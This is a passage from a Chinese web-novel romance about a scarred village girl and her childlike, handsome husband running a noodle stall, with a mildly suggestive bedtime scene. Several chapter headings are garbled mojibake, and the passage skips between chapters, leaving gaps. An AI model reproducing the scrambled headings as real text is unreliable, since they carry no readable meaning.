人死如风消散,渐渐地,村民口中那个不检点的克夫灾星王翠香从他们的谈资中消失,最后彻底消失在他们的记忆中,只有破屋后那个小土堆能证明,世界上曾经有这么一个人来过。 夏季的酷暑逐渐消散,日子入了秋,到了收成的季节。 种地的农民最盼望的也不过就是这个季节,田间地头都是金黄的果实。 丑丫虽没地可以种,但是小院里开垦出来的那块小菜地也是硕果累累。 茄子、豆角、南瓜,她和阿福可以吃很久的新鲜菜。 阿福最是高兴,自从他来了以后,将菜地当成了除了娘子以外,他最在意的东西,现在菜地里瓜果飘香,他乐得合不拢嘴。 丑丫最近有一个想法,她想做些小生意,让钱生钱,不能一直指望着阿福打猎,日子渐冷,打猎愈发困难了,而且打猎危险,若是遇上豺狼虎豹,伤了人该如何是好。 她有一手做面条的好手艺,想到镇上支个面摊子,现在天还不冷不热的,她可以卖凉面和汤面,等天冷了,就只卖热气腾腾的汤面。 就算挣得少些,但勉强也有个进项,能够养活她和阿福足以。 虽知道阿福一定会无条件同意她的想法,但她还是忍不住用商量的语气问阿福:“阿福,你觉得我们去镇上卖面条怎么样?” 阿福如她所想的那般,无需思量,百般捧场:“好!娘子做的面好吃!” 丑丫笑了,摸摸阿福的大脑袋:“那我今晚就给阿福扯面吃!” 打定了要卖面条的主意,丑丫第二天就行动起来,带着阿福去镇上采买需要的食材和用具。 面粉、肉、锅碗瓢盆,杂七杂八的东西买了一大堆,拉来的板车都装满了,银子也如流水一般花出去,一向抠门的丑丫心疼得揪了起来。 但不管再抠门,每次到镇上,她总会给阿福买些小零嘴,上次买的桂花糕和绿豆糕早就吃完了,她今天换了花样,给阿福买了酥糖和果脯。 还有糖葫芦是不会少的,阿福对糖葫芦情有独钟,即使已经吃过这么多次,还是喜欢得不得了。 回村的路上,不免遇到劳作归来的村民,他们见阿福拉的板车上满满当当的东西,不由都伸长脖子往板车上看,想看清上面到底有些什么东西。 丑丫一个眼神瞪了过去,那些人便缩了脑袋,转移了视线,只不过等他们错开一段距离,就可以听到那些人嘀嘀咕咕的议论声和谩骂声。 今天晚上,阿福的肚子有福了,成为了丑丫的御用试菜官,素面、肉臊子面和凉面,丑丫都各给他准备了一碗。 素面最简单,面条下锅煮熟,加上一勺子炒过的咸菜,最后加些葱花、蒜泥拌一下就可。 买来的肥瘦相间的猪肉切成肉沫,下锅和丑丫自己做的酱炒成肉臊子,煮好的面条来上一勺臊子,香得不行! 凉面也很好吃,煮熟的面条淋些素油将面条抖散,放些黄瓜丝、炒熟的花生米和其他佐料,清爽又开胃。 一向胃口好的阿福吃得很满足,坐在相对于他而言有些小的凳子上,无处安放的大长腿伸着,靠着椅背,满足地摸肚子。 丑丫给他泡了一杯消食的山楂水,这山楂还是她去年上山摘的,切片晒成了山楂干。 阿福咕咚咕咚将一杯山楂水给喝完了,还是懒懒地靠在凳子上,那慵懒的满足样让丑丫很喜欢,她很享受这种时候。 做的好吃的有人分享,有人捧场,不管做什么,总有一个人会默默的支持,孤独了十一年,让她无比珍惜现在的时光。 明天就要开始去镇上卖面条,今晚得将明天需要的食材和用具都准备好。 丑丫在厨房和面,阿福把桌椅板凳、锅碗瓢盆都搬到板车上装好,弄完这一切,又进了厨房当丑丫的尾巴,看着她和面。 做面条的面和得比较硬,丑丫瘦小的身板显得格外的吃力,阿福走到她身后,高大宽厚的身板可以将丑丫完全遮住,好似将她护在怀里。 背部贴上男人的胸膛,刚干完活,他身上很热,即使穿着衣服,她也可以清晰的感觉到他胸膛的热度和起伏。 丑丫控制不住的红了耳根,手上和面的动作没停下,故作镇定道:“阿福,累不累,你坐着休息,我把面给和好我们就可以睡觉了。” 阿福没离开,站在她身后,认真的看她的动作,片刻后,他憨笑道:“娘子,阿福也会和面,阿福力气大!” 丑丫不多想,只当阿福是觉得和面有趣,想玩儿。 就像许多孩子喜欢和泥巴团一样,阿福也是个孩子心性,估计是觉得和面像玩泥巴吧。 “好呀,阿福去洗手,我教阿福和面。” 阿福开心的跑出了厨房,去院子里的水缸边打了水,把自己的手洗得干干净净的,然后举着两只骨节分明的大手进来,让丑丫检查。 丑丫给他系了个围裙,然后把自己手中的面团揪了一小团给他,真如同带孩子。 阿福乐呵呵的拿着自己的小面团子捣鼓,学着丑丫的动作,和得有模有样的。 和面是个力气活,丑丫累得浑身发热,停下抖了抖发酸的手臂,侧眸一看,发现阿福居然和得挺像样的。 阿福真的很聪明,很多事情,只需要看几眼,他便可以学会。 “阿福,你来试试这个大面团!” 她惊喜的将阿福拉到她的位置,让他尝试一下,捣鼓了好一会儿小面团的阿福上手已经很熟练了。 在丑丫手里需要使大力气才能揉动的面团,在他手里却轻松得很,好像不需要使多大力气一般。 绗?0绔?濂瑰闃跨澶嫑浜哄枩娆紒 天光大亮,镇上的人多了起来,丑丫他们的小面摊也有了生意。 来的是他们斜对面卖胭脂水粉的一个小贩,虽是卖胭脂的,但却是个长得五大三粗的壮汉,也不知道能不能将胭脂给卖出去。 “你们这儿卖什么呢?我老远就闻到香味儿了,给我来上一碗!” 大汉大马金刀地坐在凳子上,眼神往热气腾腾的锅里瞅。 “我们这儿有肉臊子面、凉面和素面,肉臊子面五文一碗,素面和凉面三文一碗。” 她卖的价格要比镇上其他面摊贵上一文,但是她用料扎实,味道也比他们好,她不心虚! 大汉看着是个粗大条的,不在意那一文两文:“给我来碗臊子面吧,速度快点,我还回去看摊子呢!” “好嘞!” 丑丫应了一声,那边阿福已经自觉地扯上面条了,动作越来越熟练,完全看不出他是昨天晚上才学会的新手。 面条下锅,不一会儿就熟了,等将一大碗臊子面摆到大汉面前,大汉明显高兴地挑了挑眉。 五大三粗的男人,吃起东西来呼哧呼哧的,没一会儿的功夫一碗面就已经下了肚,连面汤都喝完了。 这在外人看来,似乎这面条十分美味,不由勾动了馋虫,附近不少摊主也闻着香味凑了过来。 有的看大汉吃得香,二话不说就来一碗的,有舍不得吃臊子面,来上一碗素面的,还有的听了价格,觉得贵,又讪讪地退了回去。 开张没多久,小摊的桌子上就已经坐了不少的客人,丑丫忙得团团转,阿福也认真又卖力地扯面。 虽然累,但是两人脸上都挂着笑容。 卖鞋子的大娘见他们生意这么好,难免有些羡慕,但是想想人家免费请她吃的面条,味道的确好,生意好也是应该的。 她摊位上没生意的时候,就帮丑丫收收碗筷,丑丫心里十分感激。 到了差不多辰时,巡视街道的官差来了,见丑丫和阿福是新来的摊主,果真和大娘说的一样,来收管理费。 丑丫从钱盒子里数了三十个铜板给官差,抠门的她心疼得差点将自己的围裙给抠烂了。 但是想在镇上做生意,就不得不交,而且交了钱,若是遇上地痞流氓捣乱,官府也会帮忙。 她还请两个官差吃了一碗面,她观察周围的摊贩对这两个官差都很恭敬,与他们交好,总没坏处。 两个官差一个叫李虎,一个叫张大富,见丑丫端上两碗香喷喷的肉臊子面,一直板着脸的两人也难得缓了神色。 “好好做生意,只要你们不惹事,我们哥俩罩着你们,有事到县衙来寻我们。” “好嘞,谢谢官爷。” 丑丫笑脸迎合,倒也没把他们的话太当真,人家不可能就为了她这两碗面,做到有求必应。 中午时候,面摊生意最好,来的人都把桌子给坐满了,还有的在排队。 这个时候大家饥肠辘辘的,闻到丑丫他们摊子飘出来的阵阵香味,馋得口水都流出来了。 丑丫和阿福忙得一刻不停歇,还没到下午,昨晚准备好的东西就都卖完了,还有的客人闻声赶来,见空空如也的锅碗瓢盆,不免失望地离开。 收了摊子,丑丫又带着阿福去买了些耗光的食材,之后告别卖鞋的大娘,拉着板车回家。 今天忙了一整天,她和阿福都没来得及好好吃饭,所以丑丫临走前到包子铺买了几个大肉包子。 丑丫吃得很满足,这要是放在以前,她可舍不得买肉包子吃,都是阿福的功劳,有了他,她的生活才越来越好了。 但阿福咬了两口后就嫌弃地皱起了脸:“不好吃,阿福喜欢吃娘子做的!” 面皮厚,馅料少,咬了好几口才可以吃到一点馅儿,的确算不得好吃。 丑丫闻言,笑眯了眼:“好呀,那我今晚回去就给阿福蒸包子吃,大肉包子!” 晚上,吃饱喝足的丑丫和阿福坐在床上,一起兴致勃勃的数钱。 准确的说是丑丫兴致勃勃的数钱,阿福兴致勃勃的看她数钱。 铜板放在木盒子里,抱起来一摇,哐啷哐啷的响,丑丫喜欢极了这种声音,让她感到踏实。 哗啦一声,她将铜板都倒在了床上,然后一边数,一边一枚一枚的往木盒子里丢。 来来回回数了三遍,她才舍得停下。 一共七百六十三个铜板,除去买食材用的那些,她和阿福今天净赚两百多文呢! 一天挣两百多文,一个月就可以挣六千文,那就是六两银子! 六两银子都够她和阿福生活一年了! 她打算好了,等再攒些银子,就买一头牛,这样就不用阿福每天辛苦的拉板车了,银子再多些的时候,就翻新一下小院子,和阿福一起住大院子! 抱着钱盒子,心里满是对未来的憧憬,丑丫的心情前所未有的舒畅。 阿福看着娘子数钱的财迷样,也跟着笑得一脸憨憨样,心里打定了主意,他要给娘子挣钱,挣好多好多钱,让她数也数不完,这样娘子一定很开心! 丑丫和阿福的面摊进入了正轨,每天生意都爆满,但是也有一件让丑丫烦心的事。 那就是他家阿福太招人喜欢了! 他们的面摊在镇上已经小有名气,和面的味道一样出名的还有阿福那张帅得人神共愤的脸。 有不少的大姑娘小媳妇跑来吃面,就为了看一眼阿福到底像不像传说中那么帅。 谁说傻男人没人要,傻男人才招人疼好不好,听话好管教,不会在外面花天酒地,关键是傻男人还长得这么帅,只看着就觉得养眼! 今日面摊上来了位尊贵的客人,一位通身气派的小姐,她身上穿的衣裳料子,估计丑丫辛苦一年也挣不到一件衣裳钱。 小姐坐在与她身份格格不入的不起眼的木桌前,眼睛直勾勾的盯着阿福扯面的背影,身边的丫鬟嫌弃的扫视了一眼面摊,低声催促。 “小姐,我们快离开这里吧,您看这儿多简陋啊,和您身份一点都不符!” 那小姐置若罔闻,眼神还盯在阿福背上,手撑着下巴,花痴般喃喃自语:“完美,这模样真的太完美了,本小姐决定了,从今天开始,她就是我话本子里的男主角!” 绗?2绔?濂圭殑鑳庤涓嶄細鎺夎剰涓滆タ 丑丫冷笑一声,嘲讽道:“收起你那几滴猫尿,我不吃你那一套,要么你道歉,要么你让我打一顿出气,你自己选!” 香荷见围观的群众没人被她的可怜打动,只能咬牙道了歉,然后灰溜溜地随着谢婉婉离开。 闹事的人走了,但围观的人群却还没散去。 不管多小的热闹,从来不缺八卦的人,刚刚这边的动静,引来了不少的人围观,有些从来没有来过面摊,看到丑丫和阿福,不免好奇地伸着脑袋打量。 看阿福的无一不是在讨论那男人长得真帅,但一听说他是个傻子,又露出同情悲悯的表情。 而看丑丫的,则各种各样的眼神都有。 “长成这样子,做的东西能吃吗?看着有点吓人,我可不敢来吃!” “虽然他们面摊的东西闻着挺香的,可就是那女的满脸胎记,看着有点倒胃口。” 丑丫垂下的手微微收紧,努力使自己的表情显得镇定,有时,她希望自己是个聋子,这样的话就听不到那些刺耳的流言蜚语。 这样的话、这样的场面她经历过无数次,以前可以做到不关心,不在意,可现在她却做不到。 大概是身边有了一个阿福,阿福那么好,不管站在哪里,不管他是聪明还是痴傻,他都像一颗耀眼的明珠,而她,连衬托明珠的泥土都不够格。 有时她会觉得自己像在做梦,那么好的阿福,怎么就刚好让她碰上了呢,又刚好让他认定了自己。 和阿福在一起的时光,除了开心以外,她还有那剪不掉、理还乱的不安和彷徨,好像只要一睁眼的功夫,她的梦就醒了,她的身边从来没有出现过那么好的阿福,她也还只是那个可怜虫小丑丫。 她陷入了自己的思绪中,周围嘈杂的声音都化成了听不清的嗡嗡声,直到一双温暖的大手握住她僵硬冰凉的小手,她的思绪才猛然回神。 阿福牵起了她的手,紧紧地握着,那双清澈又好看的凤眸看着她,永远只有真诚。 他大概是觉得娘子被那些人给吓到了,像以前娘子哄他一样,拍拍手,再摸摸脑袋,最后再顺顺背,嗓音低沉好听,却透着孩童般的稚气。 “娘子,你别怕,有阿福在,阿福帮你打跑他们。” 他哄完了丑丫,又凶巴巴地瞪着那群看热闹的人,粗声粗气吼道:“你们闭嘴,不许说话,都吓到我娘子了!” 看热闹的人被他吼得一愣,随即一个个都哈哈大笑,仗着阿福痴傻不懂事,打趣嘲笑他。 “哎哟哟,傻子还挺疼媳妇儿的!” “哈哈哈哈,大傻子,知道怎么和媳妇儿生娃娃不?会不会生出一个小傻子。” “萝卜青菜,各有所爱,大傻子就喜欢小丑妞,还挺登对!” 卖鞋的大娘看不下去了,这些人可真过分,人家阿福虽然心智不全,但又不是个聋子,这一口一个傻子的,听得人闹心。 这几天的相处,她是真喜欢这小两口,勤快,互相照顾,互相体谅,一看就是好好过日子的人。 再说了,人家阿福只是心智像孩子,并不是傻,比一般人都要聪明,看他那手扯面的手艺,别人想学都学不来呢。 她中气十足地吼道:“得了得了,嘴上没个把门的,赶紧积点口德吧,担心嘴烂生疮,都闲着没事儿干啊,不去忙活自己的到这儿看热闹,真是闲得慌!” 大娘战斗力再强,终归势单力薄,有些人看够热闹离去,但大部分人还留着,七嘴八舌,评头论足。 丑丫已经安定了心神,对着阿福笑了笑,示意他别担心,然后用葫芦瓢舀了一瓢水,当着众人的面,将水泼到脸上,洗了把脸。 她笑得很灿烂:“诸位放心吧,我这胎记不掉色,也不会掉脏东西,你们放心来我这儿吃面。” “至于碍到您各位的眼,这我也没办法,毕竟生来就这样,我也不能重新爬回我娘的肚子里,让她再生我一次不是?” 她笑着自嘲,让那些嚼舌根的人闭了嘴,不好意思再说什么,也有人帮她说话。 “就是,长什么样又不是人家姑娘能决定的,你们这些人就会跟风瞎嚼舌根,我吃过她家的面,好吃量还足,镇上其他面摊可比不了!” “长得美丑我不管,只要东西干净好吃就行,我看这小两口干活爽利,那桌椅台面都是擦得干干净净的,看着舒心!” 人群散了,还有不少人要买面吃,老顾客来回味,新顾客则是来尝鲜。 丑丫又麻利地干起了活,脸上挂着笑容,煮面、上菜、收拾碗筷,外人看来,这就是个爽利的小姑娘,可是阿福却觉得,娘子的笑容中带着苦涩。 他并不喜欢她强颜欢笑的样子,像是在他心里扎了一根刺,很疼。 确实如阿福所想,丑丫用自嘲的方式欢快的解决了麻烦,可她却是愉悦了别人,伤了自己。 她已经很坦然的面对自己长得丑这个事实,可是亲自提起的时候,她才发现,原来自己也没有那么坦然。 就像已经结了痂的伤口再次被掀开,还是像受伤时一样的痛。 虽然今天有诸多意外,但是准备好的食材还是卖光了,镇上的行人也少了,各个摊主都在收拾东西准备回家。 每天卖完东西,丑丫都会给阿福六个铜板,糖葫芦三文一串,阿福会兴高采烈的拿着六文钱,去斜对面不远的糖葫芦小贩那儿买两根糖葫芦。 今天也是如此,丑丫给阿福的手心里塞了六个铜板,柔声道:“阿福乖,只剩下一点点了,我来收就好,你去买糖葫芦吧,等你买回来,我们就可以回家了。” 阿福接过铜板,看了眼只剩下几个碗没收进筐里,他就拿着铜板走了。 他力气大,身手好,一般人伤不了他,而且卖糖葫芦的地方离他们并不远,丑丫抬眸就可以看到,所以她放心让他一个人去。 但是,今天的阿福,走过糖葫芦小贩的摊子前并没停下,而是循着自己的记忆,找那个他想去的地方。 绗?3绔?闃跨瑕佺粰濞樺瓙涔扮豢璞嗙硶 丑丫把碗筷都收进箩筐里,最后放到板车上,发现阿福还没回来,不禁有些疑惑,这么点距离,怎么还没回来? 她抬眸看向糖葫芦小贩的位置,发现根本没有阿福的身影,不由慌了神。 阿福去哪儿了?难道是遇上了拐子? 她匆忙地跑到糖葫芦小贩的身边,询问阿福在哪里,小贩却摇摇头。 “我也不知道,我也纳闷儿呢,你家那傻相公每天都来和我买糖葫芦,今天还没看到人呢,不会是跑去其他地方玩儿了吧?” 丑丫彻底慌了,一颗心七上八下的,阿福那么听话,不会贪玩跑去别的地方,一定是出了什么事! 她像一只无头苍蝇一样在街上四处寻找,门店里,小摊前,巷子里,都没放过。 “阿福,你在哪里?” “快出来,别吓我好不好!” 她慌乱的话音中带了哭腔,以前被一群人围殴谩骂的时候,她都没觉得这么害怕过。 而此时,镇上有名的点心铺子珍品斋内 掌柜送走了店中最后一位客人,转头就看到门口走进来一个俊美非凡的男子。 虽只穿着一身粗布衣裳,但那通身的气度依旧掩饰不住。 这应该是个大人物! 他脸上堆起了笑,热情地招呼:“客官,您需要些什么,我们铺子里的点心,都是镇上最好的!” 他还想给这位贵客介绍一下他们店里的招牌点心,可男人一开口,他就傻愣住了。 这啥情况?眼前这俊美贵气的男人是个傻子? 阿福握紧了手里的六个铜板,第一次离开娘子这么远,他有些局促 “我想买糕点给我娘子吃,哄她开心。” 娘子今天被人欺负了,不开心,吃一块甜甜的糕点,她的心情肯定会好起来的! 点心铺子离他们摆摊的位置有些距离,得亏阿福的记性好,还能记得路,不然就要走丢了。 掌柜不见得是个多好的人,但也不坏,察觉到阿福心智有异样,也没赶他走,反倒对他产生了些兴趣。 难得他也有看走眼的时候,可惜了这堂堂的仪表,要是不傻的话,一定是个人物。 他像逗小孩一样问道:“你身上有钱吗?想给你娘子买什么糕点?” 阿福摊开手心,露出六枚铜板:“阿福有钱,我要买绿豆糕,娘子喜欢吃!” 娘子说她不喜欢糖葫芦,酸牙,每次她的糖葫芦总会剩半根给她,她还说她不喜欢吃桂花糕,太甜,甜得牙疼。 他觉得娘子好奇怪,不喜欢吃酸酸甜甜的糖葫芦,也不喜欢吃香甜的桂花糕,那不酸,也不腻人的绿豆糕她一定喜欢。 掌柜被逗乐了,这个傻男人倒是挺疼媳妇儿的。 他笑着道:“你这点钱可不够买绿豆糕,要不回去和你娘子再要几个铜板?” 阿福那两道好看的眉皱了起来,一只手握着铜板,另一只手局促地捏着衣角,踌躇了好一会儿,才嗫嚅道:“那阿福就买这几个铜板的好不好,娘子喜欢钱,阿福不能要太多。” “哈哈哈哈!” 掌柜爽朗地笑出声,看这傻小子挺顺眼,傻是傻点,但疼媳妇,还长得俊,要不是他闺女已经嫁人,他倒是希望将他招为上门女婿,这样闺女就可以留在家中继承他的点心铺子。 “傻小子,钱拿来吧,我给你装绿豆糕!” 掌柜接过阿福手里的六个铜板,去给他包糕点。 糕点可是精贵的东西,不仅用料贵,做工也复杂,所以卖得也贵,阿福的六个铜板顶多能买两块绿豆糕。 掌柜看那小子憨憨傻傻的有趣,多给他放了一块,三块绿豆糕,还把只卖剩一个的白皮酥饼也给了他。 “拿着吧,赶紧回去找你娘子吧。” 阿福接过糕点,认真地和掌柜说了声谢谢,娘子说,遇上对他好的人,要说谢谢。 他拎着糕点往回走,脚步都轻快了很多,脸上挂着傻笑,想着娘子一会儿吃到糕点时的开心的表情,他也更开心了。 丑丫已经将附近的街道巷子都找了一遍,都没发现阿福的身影,一颗心如同坠入了冰湖,凉得刺骨。 她害怕得止不住发抖,手脚也有些软,眼泪大颗大颗地往下掉,站在原地许久都往前挪不了一步。 她的阿福不见了,她那么好的阿福不见了! 此时她的思绪乱糟糟的,脑海中灵光乍现,报官! 她要去报官!让官府帮她找阿福! 跌跌撞撞地往前跑,她的眼神里似乎失去了焦距,看不清街上来来往往的人,心里只有一个念头,跑到县衙,去找阿福! 砰! 她撞入一个温暖的怀抱,一双结实有力的手拦住了她,紧接着,头顶响起那道她刻在了心里的声音。 虽然有些憨憨的,但却让她很有安全感。 “娘子,你怎么哭了,有人欺负你了吗?” 阿福走回来就见娘子满脸泪痕地在街上跌跌撞撞,立马走到她跟前,拦住了她。 他抬起那只好看的手,有些无措地给丑丫擦去脸上的泪水,可是刚擦掉,下一瞬又流了出来,根本擦不完。 丑丫茫然的抬起头,泪水让她的视线有些模糊,可她还是看清了那张牵动她心弦的容颜。 “你去哪儿!急死我了!” 她的泪水决堤了,已经顾不得自己身处在人来人往的街道,将脸埋进阿福的胸膛,手紧紧地搂住他的腰,只有这样才觉得踏实。 阿福慌张得像个手足无措的孩子,摸摸娘子的脑袋,又拍拍她的背,可是丑丫还是哭得上气不接下气。 两人旁若无人地在大街上抱在了一起,周围路过的人不禁往他们身上看,阿福哄不好娘子,又被其他人看,不开心地板起了脸。 那冷厉的气势吓得周围的人不再敢多看。 娘子哭得这么伤心,阿福都快急死了,想起来手中的糕点,他连忙献宝似的拎到丑丫眼前:“娘子不哭,阿福给你买了好吃的绿豆糕,吃了你就不难过了。” 丑丫哽咽地抬起头,泪眼婆娑地看着阿福手里的那个小纸包,不知道该如何形容自己此时的心情。 又酸又甜又涩,还有一阵后怕。 她声音哽咽:“所以,你是去给我买绿豆糕了?” 绗?4绔?闃跨涓嶅枩娆1悆锛岄兘缁欏瀛愬悆 阿福点头,有些闷闷不乐,他本来是想让娘子吃了糕点开心,可是她好像更加不开心了。 丑丫又将脸埋回了阿福的胸膛,泪水依旧止不住,只不过刚才是失而复得的后怕和喜悦,现在却是酸涩和感动。 她控制不住地捶了阿福宽阔的背脊两下,抬头,红着两只水润润的眼睛看他:“大傻子,你吓死我了知不知道!” 阿福有一点点的小委屈,娘子又说他傻了,可是娘子那么伤心,他才舍不得和娘子闹脾气呢。 他从自己的怀里掏了掏,掏出一块帕子,这是娘子给他做的,上面还绣了他种的一棵茄子树。 娘子问他喜欢什么图案,他说要绣一个娘子在上面,但娘子说没有人绣这个,他要是在外面拿出来,会被其他人笑话的。 他其实不怕被笑话,他有绣着娘子的帕子,别人还没有呢,应该是他笑他们才对,但是娘子不想绣,他要听娘子的话,最后选了菜地里他种得最好的那棵茄子树。 阿福拿着帕子,细心的将丑丫脸上的泪痕一点点擦掉,动作轻柔得像对待一件珍宝。 丑丫的情绪现在也缓过来了,见路过的行人都往他们身上看,不由红了脸,牵过阿福的手,垂着脑袋,走回他们摊位的位置。 两人走在回家的路上,阿福拉着板车,丑丫手里拎着阿福给她买的糕点。 小小的一个纸包,很轻,可在她心里却有千般重。 她的傻阿福,拿着六个铜板就去买糕点,要是遇上的不是一个好掌柜,而是个狗眼看人低、看人下菜碟的,他大概会被赶出店。 傻傻的阿福,不懂糕点有多贵,也不知道手里的六个铜板能买些什么,只想用他仅有的六个铜板,买来能哄她开心的绿豆糕。 走着走着,她的眼眶就忍不住酸涩了,她明明是一个很坚强的人,可是遇上了阿福,她变成了爱哭鬼。 越来越喜欢阿福了怎么办?要是他哪一天离开了她,她应该会疯的吧! 丑丫将纸包给打开,里面是三块绿豆糕和一块酥饼,她拿了一块绿豆糕,喂到阿福嘴边。 阿福摇头,憨憨地笑着:“阿福不喜欢吃,给娘子吃,娘子吃了开心!” 丑丫噗嗤笑出声,这个大傻子是在学她呢,她哪里会不知道他喜不喜欢吃绿豆糕,他明明爱极了甜食。 可是她的心很甜,不用吃绿豆糕就已经很甜了。 “阿福也吃,好东西要一起吃才好吃,你不吃的话,我也不喜欢吃了。” 容易忽悠的阿福张开嘴将绿豆糕给吃进嘴里,糕点其实很小,他一口就可以吞下。 他将绿豆糕都吃进了嘴里,看着娘子的脸,果真见她开心地笑了起来,他也更开心了,嘴里的绿豆糕好像也更甜了。 娘子说的没错,和娘子一起吃的东西会更好吃! “娘子也吃!” 他将嘴里的糕点咽下去,见丑丫还没吃,赶紧着急地催促。 丑丫点头,拿起绿豆糕咬了一口,甜甜的,香香的,她想,她大概一辈子都能记住今天的味道。 有人陪的日子,好像就算很累,也觉得过得很快。 眨眼间便天黑了,丑丫和阿福吃了饭,又将明天要卖的食材给准备好,洗了澡,躺在床上时两人都发出舒服的喟叹。 丑丫伸了一个懒腰,酸涩的全身得到缓解,她有些庆幸那天买了这个大床,如老木匠说的那样,很结实,睡着很舒服,她和阿福两个人睡都觉得宽敞。 她转身,侧躺着,看着阿福,阿福察觉到娘子在看他,也转个身,两人就这么面对面地躺着,丑丫浅浅笑着,阿福也跟着一起笑。 明明不知道娘子在笑什么,可她笑,他就觉得开心,他就会跟着笑。 “阿福,答应我,以后不可以像今天这样悄悄离开我好不好?” “不管你去哪里,都要让我知道,找不到你,我会担心,我会害怕。” 阿福也知道今天他偷偷跑去买糕点把娘子吓到了,乖巧地认错:“阿福知道了,以后不会像这样了,娘子不要难过。” 丑丫点头,小手里握着阿福的一只大手,捏一捏他的手指,或是和他十指相扣,暖暖的,很宽厚,很有安全感。 阿福困了,伸手将娘子搂在怀里,娘子软软的,抱着睡觉很舒服,他喜欢抱着娘子睡。 那天的事情过后,丑丫和阿福的小面摊安分了一段时间,生意还是一如既往地好。 入秋以后,天气一天比一天凉一截,买凉面的顾客少了,但是买汤面的多了起来,丑丫每次都要买一堆猪大骨,熬满满一大锅的汤。 自从上次阿福偷偷去买糕点吓到她,她告诉他不管做什么都要告诉她之后,阿福现在可听话了,事无巨细都要告诉她。 比如。 “娘子!阿福要去上厕所,马上就回来,你别害怕哦!” “娘子,阿福要去喂猪,在猪圈里,不要找不到我哦!” 他真的很细致,细致到就连他要去上厕所都要提前报备,丑丫被搞得哭笑不得,但是又觉得阿福傻得可爱。 自上次与谢婉婉碰过一面后,丑丫再也没见过她,她也不清楚她到底是什么身份,只知道她应该是有钱人家的小姐。 但今天,谢婉婉又来了,只不过身边的丫鬟换了人。 她无精打采的坐在桌边,没再像上次一样盯着阿福看,而是懒洋洋的唤道:“老板,来一碗面。” 丑丫无所谓,来者是客,只要她不来捣乱,她也不会给人摆脸色。 阿福扯好面条,她将面条给放进锅里煮,转头问道:“能吃辣吗?” 谢婉婉还没回答,她身边的丫鬟倒是走到了锅边,脸上带着笑容,比上次那个不知和善了多少。 “能吃的,但我们家小姐不吃生蒜,别给她放蒜泥。” 丑丫点头,却听那边的谢婉婉一脸生无可恋的表情道:“放吧,多放一点,最好熏死我,也熏死那老妖婆!” 丑丫觉得好笑,但是没搭理她,面条出锅,舀了一勺肉臊子,放了调料,但还是听丫鬟的,没给她放蒜泥。 第16章 哇,娘子你看,它肿起来了! 咳! 丑丫这次真的被自己的口水给呛到了,挠心挠肺的尴尬。 “那个,阿福,闭上眼睛乖乖睡觉,睡着就不难受了啊。” 苍白无力的说法,她自己都越说越小声。 阿福头摇成了拨浪鼓:“不要,难受,睡不着!” 丑丫沉默了,将油灯给点着,盘腿坐在床上,脸蛋红扑扑地看着阿福。 突然,某个男人好像发现了新玩具一般惊呼出声,眼神直勾勾地盯着自己身下鼓起的那一团:“哇,娘子你看,它肿起来了!” 丑丫:“” 谢谢,这种事情就不必特地叫我去看了吧。 可心里这么想,眼神却还是实诚地瞟了过去,只看一眼,她的脸愈发红得像要烧起来一般。 真一柱擎天! “娘子,它是不是坏了啊?阿福以后还能尿尿吗?阿福好难受!” 阿福觉得自己的小鸡大概是坏了,委屈巴巴地瘪起嘴。 丑丫整个人在风中凌乱,不知道该如何回答这个大傻子的问题。 她强制地给阿福盖好了被子,遮住那羞人的鼓起,然后一本正经道:“不会坏,阿福就是太热了,我给你讲故事,听完故事就不难受了。” 两人重新躺下,没熄灯,丑丫轻柔又甜软的嗓音给阿福讲着故事,在她有限的记忆里,她何曾听过什么故事,这些不过是她编的罢了。 阿福渐渐沉浸在故事中,忽略了身上的难受,最后越来越困,闭上眼睛沉沉睡去。 丑丫止住了声音,侧躺着看熟睡的男人,她的视线刚好可以看到他完美的侧颜。 平日里透着傻气和纯真的凤眸阖上,如同立马换了一个人,尊贵高冷,高挺的鼻梁,性感的薄唇,昏黄的油灯映照下,仿佛给他镀上了一层金光。 丑丫不自觉地勾起了唇角,不知道看了多久,直到眼睛困得睁不开,才舍得将油灯给熄了睡觉。 这日,天光大好,丑丫将家里的被褥都拆了,和阿福一起端着木盆到河边洗被褥。 河边洗衣服的妇人不少,丑丫不想听那些人嚼舌根,和阿福选了一个无人的角落,鉴于他们俩的恶毒名声,倒是也没有不长眼的人往他们身边凑。 阿福拿着他自制的叉子,裤脚卷高,站在水里插鱼,他们这儿不是渔村,没人会为了捞鱼特地去买渔网,所以河里的鱼还算多。 在打猎这一件事上,阿福很有耐心,一条鱼呆头呆脑地在他跟前游来游去,他保持着举叉的姿势许久,直到鱼放下戒心,在原地吞吐泡泡时,他快准狠地将叉子刺入水中。 钉子嵌入鱼背,痛得鱼在水中挣扎扑腾,阿福高兴地将叉子举高,鱼缺水,挣扎得更厉害,但却挣脱不了。 “娘子!我抓到鱼了!” 阿福的位置离丑丫大概有丈余,他举着鱼,兴奋地向丑丫汇报喜讯,扑腾扑腾淌着水向丑丫跑来。 丑丫洗着被褥,抬眸就看到男人满脸耀眼的笑容,那股喜悦气息也感染了她,也跟着笑起来:“阿福,你慢点,水里滑!” 阿福那大长腿迈得很快,也很稳,不一会儿的功夫就跑到了丑丫跟前,把鱼叉往她跟前凑:“娘子,你看,好大一条鱼!” 的确,很大一条,得有三四斤呢。 “阿福,你也太厉害了!” 丑丫笑得眉眼弯弯,脸上本来狰狞的胎记,此时却像一朵开在脸上的花。 阿福看着娘子的笑脸,傻乎乎挠挠脑袋:“娘子笑起来好看,要天天笑!” 从来没被夸过好看的丑丫,头一次听到这话还有些别扭,可别扭过后心里却像她给阿福买的桂花糕一样甜丝丝的。 大傻子,也就只有你会说我好看了。 她甜笑着嗔道:“傻瓜,天天笑,那我不得把嘴给笑歪了啊!” 阿福在岸边扯了几根草,拧成草绳,从鱼的鱼鳃处将鱼给穿上,闻言,十分认真地思考后回:“不会歪,阿福天天都笑,嘴不会歪的!” 岸边各处洗衣服的妇人离他们并不远,阿福叉到鱼的那一幕,她们看得清清楚楚。 脸上的表情不由酸得扭曲起来,洗衣服的力气也加重,将心中的郁闷发泄在衣服上。 人比人气死人! 他们的丈夫怎么就不见学学人家傻子,下河捞条鱼,上山打只野鸡呢? 本事没多少,成天就会吆五喝六指使她们干活! 丑丫继续洗被褥,阿福又扛着叉子去叉鱼,在被褥快洗完之际,丑丫站起身,抖一抖发麻的腿。 突然,身后传来一阵急促的脚步声,她转头,刚看清来人,还不等做出反应,被一双手猛地一推,没站稳,摔进了河里! 洗被褥要水深一些才方便,所以丑丫今天选了一个深水区,岸边有一块石头,蹲在石头上便可以洗。 深水区的水足可以淹没她一个人,猛地掉进水里,被灌了好几口水。 